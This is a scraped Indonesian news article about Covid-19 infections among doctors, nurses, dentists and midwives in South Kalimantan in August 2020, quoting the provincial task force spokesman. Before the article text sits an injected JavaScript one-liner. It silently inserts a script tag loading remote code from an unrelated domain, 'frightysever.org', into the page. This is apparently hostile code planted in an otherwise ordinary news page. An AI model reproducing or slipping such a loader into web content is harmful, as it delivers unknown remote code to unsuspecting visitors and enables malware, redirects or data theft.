(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pandemi Covid-19 di Kalimantan Selatan (Kalsel) berdampak pada tenaga kesehatan (nakes) yang terpapar Covid-19. Mulai dari dokter umum, dokter spesialis, dokter gigi, hingga perawat bahkan bidan terjangkit virus corona.
Juru Bicara Gugus Tugas Percepatan Penanganan (GTPP) Covid-19 Kalsel Muhammad Muslim menyebutkan, ada dua klasifikasi nakes yang terpapar Covid-19. Yaitu nakes yang menangani Covid-19 secara langsung dan nakes yang menangani Covid-19 secara tidak langsung.
“Nakes itu ada yang menangani Covid-19, dan ada pula yang tidak menangani Covid-19 secara langsung. Yang menangani Covid-19 secara langsung yaitu yang memang ditugaskan untuk itu,” kata Muslim dalam jumpa pers melalui Zoom Meeting, Rabu (5/8/2020) sore.
Ia mencontohkan, nakes yang menangani Covid-19 secara langsung seperti petugas surveilans, dokter, perawat dan tenaga gizi yang semuanya melakukan pelayanan langsung. Namun begitu, ada juga nakes yang secara tidak langsung menangani Covid-19.
“Oleh karena itu, apakah penularannya pada saat pekerjaan, banyak informasi dan penanganan dalam riset. Oleh karena itu, jika dilihat dari angka, tidak serta merta karena melakukan pelayanan atau bertugas dalam penanganan Covid-19 secara langsung,” imbuh Kepala Dinas Kesehatan Provinsi Kalsel ini.
Seperti dokter gigi, yang disebut Muslim bukan nakes yang secara langsung menangani Covid-19. Namun, dokter gigi bisa saja terpapar Covid-19 jika tengah melayani pasien yang terlebih dahulu terpapar Covid-19.
Berdasarkan catatan yang diterima GTPP Covid-19 Kalsel maupun Dinkes Provinsi Kalsel sendiri, sedikitnya ada 62 dokter umum dan dokter spesialis yang terpapar Covid-19. Namun begitu, pihaknya belum mengetahui persis dokter yang menangani langsung atau tidak menangani langsung Covid-19. “Ini catatannya berprofesi sebagai dokter,” imbuh Muslim.
Disamping itu, Muslim menambahkan, ada 5 dokter gigi yang terpapar Covid-19. Tak hanya dokter saja, ternyata perawat juga banyak yang terpapar Covid-19. “Perawat ini cukup banyak. Ada 208 perawat (terpapar Covid-19),” tambah Muslim.
Tak hanya dokter dan perawat, rupanya bidan juga berisiko terpapar Covid-19. Kendati tidak menangani Covid-19 secara langsung, kemungkinan bidan juga terpapar Covid-19 baik dari keluarganya maupun dari pasiennya.
“Ada 105 bidan terpapar Covid-19. Ditambah nakes lainnya. Angka-angka seperti ini menunjukkan kepada kita bahwa profesi nakes ini berisiko, baik secara langsung maupun tidak langsung terhadap penanganan Covid-19,” tandas Muslim.
Pihaknya meminta rumah sakit untuk melakukan screening awal yang cukup ketat untuk pasien. Diakuinya, rumah sakit harus tetap memberikan pelayanan-pelayanan kepada pasien, dimana pasien dengan gejala penyakit di luar Covid-19 tetap harus dilayani.
“Kadang kala teman-teman di fasilitas pelayanan kesehatan ini kalau mereka tidak begitu jelas dengan status pasien, maka ada sedikit kewaspadaan untuk menangani,” pungkas Muslim. (kanalkalimantan.com/fikri)
Reporter: fikri
Editor: bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.